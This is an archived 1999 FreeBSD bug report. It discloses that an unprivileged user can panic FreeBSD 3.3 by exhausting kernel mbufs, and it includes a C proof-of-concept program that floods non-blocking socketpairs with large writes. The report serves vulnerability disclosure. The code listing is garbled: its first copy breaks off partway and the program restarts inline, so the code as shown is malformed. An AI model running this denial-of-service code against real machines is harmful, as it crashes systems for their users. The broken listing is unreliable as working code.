Date: Sat, 9 Oct 1999 02:38:58 -0700 (PDT) From: jar@ntu-kpi.kiev.ua To: freebsd-gnats-submit@freebsd.org Subject: kern/14226: panic: no mbufs Message-ID: <19991009093858.2AD5914A23@hub.freebsd.org>
next in thread | raw e-mail | index | archive | help
>Number: 14226 >Category: kern >Synopsis: panic: no mbufs >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Oct 9 02:40:00 PDT 1999 >Closed-Date: >Last-Modified: >Originator: Yaroslav Halchinsky >Release: 3.3-RC >Organization: >Environment: FreeBSD texas.plat.kiev.ua 3.3-RC FreeBSD 3.3-RC #2: Fri Oct 8 16:01:17 EEST 1999 root@jar.plat.kiev.ua:/usr/src/sys/compile/TEXAS i386 >Description: The following program running by any unprivileged user crashes FreeBSD 3.3-RC (RELEASE and STABLE as well) #include <unistd.h> #include <sys/socket.h> #include <fcntl.h> #define BUFFERSIZE 204800 extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK);#include <unistd.h> #include <sys/socket.h> #include <fcntl.h> #define BUFFERSIZE 204800 extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } >How-To-Repeat: Build and run the program >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19991009093858.2AD5914A23>